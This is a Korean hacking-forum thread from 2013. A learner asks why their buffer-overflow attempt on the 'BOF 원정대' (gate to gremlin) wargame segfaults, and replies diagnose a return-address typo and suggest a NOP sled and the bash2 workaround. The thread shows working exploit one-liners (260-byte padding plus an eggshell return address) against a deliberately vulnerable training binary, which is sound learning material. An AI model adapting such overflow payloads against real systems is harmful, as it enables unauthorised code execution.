시스템 해킹

1576,

1/79

tranx

bof 원정대 질문드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1659 [복사]

bof를 배우고싶어 원정대 서버를 다운하고

몇개 난관을 거쳐 실행을 했는데요.

풀이만 보고 그대로 따라했는데 마지막에

Segmentation fault 에러가 뜹니다.

순서는 다음과같이 했습니다.

1. 공개된 에그쉘을 받아 컴파일

2. 공격주소 확인 후 명령어 입력

[gate@localhost gate]$ ./egg
Using address: 0xbffff208
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260 +"\x28\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(ûÿ¿
Segmentation fault

진행할수 있도록 조언이나 답변 부탁드립니다.

Hit : 3987 Date : 2013/03/08 01:59


aalswn	세그 뜬거는 리턴어드레스가 잘못된다는건대 에그쉘쓰지말고 NOP 슬라이드 로 해보세요	2013/03/08
cd80	그 풀이에서 ./egg했을때 Using address: 0xbffffb28이 나온거같은데 작성자님 경우에는 Using address: 0xbffff208이 나오셨으므로 ./gremlin `python -c 'print "A"*260 + "\x08\xf2\xff\xbf"'` 으로 해주셔야 합니다	2013/03/09
chlxogns92	bof원정대 서버에서는 쉘에 버그가 있어서 \xff가 인식이 안되는 버그가 있는건 아시나여?	2013/03/09
aalswn	bash 2로 실행해보시고 egg 쉘에서 나온 주소가 오타났네요.. 08 을 28 으로	2013/03/09
tranx	답변주신분들 모두 감사드립니다. 다시한번 해볼게요.	2013/03/11
tranx	주소를 맞게 했는데 안되는것 같습니다.. 윗분 답변 주셨던대로 NOP 슬라이드를 찾아봐야 할거같아요. [gate@localhost gate]$ ./egg Using address: 0xbffffb58 [gate@localhost gate]$ ./gremlin `python -c 'print "A"260 + "\x58\xfb\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXûÿ¿ Segmentation fault (core dumped) [gate@localhost gate]$ bash2 [gate@localhost gate]$ ./gremlin `python -c 'print "A"260 + "\x58\xfb\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXûÿ¿ Segmentation fault (core dumped) [gate@localhost gate]$	2013/03/11
chlxogns92	아마 bash2를 사용하면 egg를 다시한번 실행해서 주소를 다시 찾아봐야할 거에요. 그리고 아마 왠만해선 에그쉘에 nop이 박혀있을텐데.. nop sled 찾아보시고 다시해보세여 core분석방법 찾아서 dump된 core분석도 한 번 해보시고요.	2013/03/12
qkrwncks96	$ bash2 입력후 익스플로잇을 시도하세요	2013/04/01